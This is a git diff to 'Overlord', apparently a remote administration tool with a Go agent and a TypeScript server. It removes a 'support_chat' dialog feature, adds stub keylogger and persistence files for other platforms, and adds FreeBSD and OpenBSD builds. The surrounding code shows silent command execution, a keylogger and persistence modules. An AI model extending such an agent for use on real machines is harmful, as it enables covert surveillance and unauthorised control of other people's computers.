diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 0196d04..f357126 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -4,10 +4,8 @@ import (
 	"context"
 	"encoding/json"
 	"errors"
-	"fmt"
 	"log"
 	"os"
-	"os/exec"
 	goruntime "runtime"
 	"strconv"
 	"strings"
@@ -340,107 +338,6 @@ func writeVoiceDownlink(data []byte) error {
 	return nil
 }
 
-func showSupportChatDialog(message, operator string, requireReply bool) (string, error) {
-	msg := strings.TrimSpace(message)
-	if msg == "" {
-		return "", errors.New("missing support message")
-	}
-	title := "Remote Support"
-	if operator = strings.TrimSpace(operator); operator != "" {
-		title = fmt.Sprintf("Remote Support - %s", operator)
-	}
-
-	switch goruntime.GOOS {
-	case "windows":
-		return showSupportChatWindows(msg, title, requireReply)
-	case "darwin":
-		return showSupportChatDarwin(msg, title, requireReply)
-	case "linux":
-		return showSupportChatLinux(msg, title, requireReply)
-	default:
-		return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS)
-	}
-}
-
-func showSupportChatWindows(message, title string, requireReply bool) (string, error) {
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
-	defer cancel()
-
-	var cmd *exec.Cmd
-	if requireReply {
-		script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp`
-		cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
-	} else {
-		script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)`
-		cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
-	}
-	cmd.Env = append(os.Environ(),
-		"OVERLORD_SUPPORT_MESSAGE="+message,
-		"OVERLORD_SUPPORT_TITLE="+title,
-	)
-	out, err := cmd.CombinedOutput()
-	if err != nil {
-		return "", fmt.Errorf("windows support dialog failed: %w", err)
-	}
-	if !requireReply {
-		return "", nil
-	}
-	return strings.TrimSpace(string(out)), nil
-}
-
-func showSupportChatDarwin(message, title string, requireReply bool) (string, error) {
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
-	defer cancel()
-
-	esc := func(s string) string {
-		s = strings.ReplaceAll(s, `\\`, `\\\\`)
-		s = strings.ReplaceAll(s, `"`, `\\"`)
-		return s
-	}
-	msg := esc(message)
-	ttl := esc(title)
-
-	var script string
-	if requireReply {
-		script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl)
-	} else {
-		script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl)
-	}
-
-	out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput()
-	if err != nil {
-		return "", fmt.Errorf("macOS support dialog failed: %w", err)
-	}
-	if !requireReply {
-		return "", nil
-	}
-	return strings.TrimSpace(string(out)), nil
-}
-
-func showSupportChatLinux(message, title string, requireReply bool) (string, error) {
-	if _, err := exec.LookPath("zenity"); err != nil {
-		return "", errors.New("zenity is required for support chat on Linux")
-	}
-
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
-	defer cancel()
-
-	if requireReply {
-		cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message)
-		out, err := cmd.CombinedOutput()
-		if err != nil {
-			return "", fmt.Errorf("linux support input failed: %w", err)
-		}
-		return strings.TrimSpace(string(out)), nil
-	}
-
-	cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message)
-	if _, err := cmd.CombinedOutput(); err != nil {
-		return "", fmt.Errorf("linux support message failed: %w", err)
-	}
-	return "", nil
-}
-
 func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
 	cmdID, _ := envelope["id"].(string)
 	action, _ := envelope["commandType"].(string)
@@ -1588,24 +1485,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			scriptType = "powershell"
 		}
 		return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
-	case "support_chat":
-		payload, _ := envelope["payload"].(map[string]interface{})
-		message, _ := payload["message"].(string)
-		operator, _ := payload["operator"].(string)
-		requireReply := true
-		if payload != nil {
-			if v, ok := payload["requireReply"].(bool); ok {
-				requireReply = v
-			}
-		}
-		reply, err := showSupportChatDialog(message, operator, requireReply)
-		if err != nil {
-			return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
-		}
-		if requireReply {
-			return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)})
-		}
-		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"})
 	case "silent_exec":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		if payload == nil {
diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go
new file mode 100644
index 0000000..e41caaa
--- /dev/null
+++ b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go
@@ -0,0 +1,30 @@
+//go:build !windows && !linux && !darwin
+
+package keylogger
+
+import (
+	"fmt"
+	"log"
+	"runtime"
+	"time"
+)
+
+func (k *Keylogger) captureKeystrokes() error {
+	log.Printf("[keylogger] keylogging is not implemented on %s - placeholder mode", runtime.GOOS)
+
+	ticker := time.NewTicker(30 * time.Second)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-k.stopCh:
+			return nil
+		case <-ticker.C:
+			k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
+		}
+	}
+}
+
+func getWindowTitle() string {
+	return ""
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_default.go b/Overlord-Client/cmd/agent/persistence/persistence_default.go
new file mode 100644
index 0000000..e1e11b5
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_default.go
@@ -0,0 +1,21 @@
+//go:build !windows && !linux && !darwin
+
+package persistence
+
+import "fmt"
+
+func install(_ string) error {
+	return fmt.Errorf("persistence is not implemented on this platform")
+}
+
+func configure(_ string) error {
+	return fmt.Errorf("persistence is not implemented on this platform")
+}
+
+func getTargetPath() (string, error) {
+	return "", fmt.Errorf("persistence is not implemented on this platform")
+}
+
+func uninstall() error {
+	return nil
+}
diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js
index f16e395..e5d9073 100644
--- a/Overlord-Server/public/assets/data.js
+++ b/Overlord-Server/public/assets/data.js
@@ -122,32 +122,6 @@ export async function sendCommand(clientId, action) {
   }
 }
 
-export async function sendSupportChat(clientId, message, requireReply = true) {
-  try {
-    const res = await fetch(`/api/clients/${clientId}/command`, {
-      method: "POST",
-      headers: { "Content-Type": "application/json" },
-      body: JSON.stringify({ action: "support_chat", message, requireReply }),
-    });
-    const data = await res.json().catch(() => ({}));
-    if (!res.ok) {
-      return {
-        ok: false,
-        error: data?.error || `support chat failed ${res.status}`,
-        response: "",
-      };
-    }
-    return {
-      ok: Boolean(data?.ok),
-      error: data?.error || "",
-      response: typeof data?.response === "string" ? data.response : "",
-    };
-  } catch (err) {
-    console.error(err);
-    return { ok: false, error: "Support chat request failed", response: "" };
-  }
-}
-
 export async function fetchVoiceCapabilities(clientId) {
   try {
     const res = await fetch(`/api/clients/${clientId}/command`, {
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 8db46b1..e68bee1 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -71,7 +71,6 @@ export type CommandType =
   | "file_chmod"
   | "file_execute"
   | "silent_exec"
-  | "support_chat"
   | "voice_session_start"
   | "voice_session_stop"
   | "voice_downlink"
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index 31ec4de..657ca1c 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -385,56 +385,6 @@ export async function handleClientRoutes(
           } catch (error: any) {
             return Response.json({ ok: false, error: error.message }, { status: 500 });
           }
-        } else if (action === "support_chat") {
-          const message = typeof body?.message === "string" ? body.message.trim() : "";
-          const requireReply = body?.requireReply !== false;
-          const operator = typeof user?.username === "string" ? user.username.trim() : "";
-
-          if (!message) {
-            return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
-          }
-          if (message.length > 1200) {
-            return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
-          }
-
-          const cmdId = uuidv4();
-          const waitTimeoutMs = 4 * 60 * 1000;
-          let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
-
-          if (requireReply) {
-            replyPromise = new Promise((resolve, reject) => {
-              const timeout = setTimeout(() => {
-                deps.pendingCommandReplies.delete(cmdId);
-                reject(new Error("Support chat reply timed out"));
-              }, waitTimeoutMs);
-                deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
-            });
-          }
-
-          target.ws.send(
-            encodeMessage({
-              type: "command",
-              commandType: "support_chat",
-              id: cmdId,
-              payload: {
-                message,
-                requireReply,
-                operator,
-              },
-            }),
-          );
-          metrics.recordCommand("support_chat");
-
-          if (!replyPromise) {
-            return Response.json({ ok: true });
-          }
-
-          try {
-            const reply = await replyPromise;
-            return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
-          } catch (error: any) {
-            return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
-          }
         } else if (action === "voice_capabilities") {
           const cmdId = uuidv4();
           const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
diff --git a/build-clients.bat b/build-clients.bat
index f912036..6de1220 100644
--- a/build-clients.bat
+++ b/build-clients.bat
@@ -131,6 +131,34 @@ set CGO_ENABLED=0
 %BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-amd64" ./cmd/agent
 if errorlevel 1 goto :err
 
+echo == Building agent for freebsd amd64 ==
+set GOOS=freebsd
+set GOARCH=amd64
+set CGO_ENABLED=0
+%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-amd64" ./cmd/agent
+if errorlevel 1 goto :err
+
+echo == Building agent for freebsd arm64 ==
+set GOOS=freebsd
+set GOARCH=arm64
+set CGO_ENABLED=0
+%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-arm64" ./cmd/agent
+if errorlevel 1 goto :err
+
+echo == Building agent for openbsd amd64 ==
+set GOOS=openbsd
+set GOARCH=amd64
+set CGO_ENABLED=0
+%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-amd64" ./cmd/agent
+if errorlevel 1 goto :err
+
+echo == Building agent for openbsd arm64 ==
+set GOOS=openbsd
+set GOARCH=arm64
+set CGO_ENABLED=0
+%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-arm64" ./cmd/agent
+if errorlevel 1 goto :err
+
 echo Builds complete. Outputs in %OUT_DIR%
 goto :eof
 
diff --git a/start-dev-client.sh b/start-dev-client.sh
index ddec487..427d8a0 100644
--- a/start-dev-client.sh
+++ b/start-dev-client.sh
@@ -17,6 +17,8 @@ ARCH="$(uname -m)"
 case "$OS" in
   Darwin) PLATFORM="mac";;
   Linux) PLATFORM="linux";;
+  FreeBSD) PLATFORM="freebsd";;
+  OpenBSD) PLATFORM="openbsd";;
   *) PLATFORM="unknown";;
 esac
 
@@ -32,6 +34,18 @@ if [ "$PLATFORM" = "mac" ]; then
   fi
 elif [ "$PLATFORM" = "linux" ]; then
   BIN_NAME="agent-linux-amd64"
+elif [ "$PLATFORM" = "freebsd" ]; then
+  if [ "$ARCH" = "x86_64" ]; then
+    BIN_NAME="agent-freebsd-amd64"
+  elif [ "$ARCH" = "aarch64" ] || [ "$ARCH" = "arm64" ]; then
+    BIN_NAME="agent-freebsd-arm64"
+  fi
+elif [ "$PLATFORM" = "openbsd" ]; then
+  if [ "$ARCH" = "x86_64" ]; then
+    BIN_NAME="agent-openbsd-amd64"
+  elif [ "$ARCH" = "aarch64" ] || [ "$ARCH" = "arm64" ]; then
+    BIN_NAME="agent-openbsd-arm64"
+  fi
 fi
 
 if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then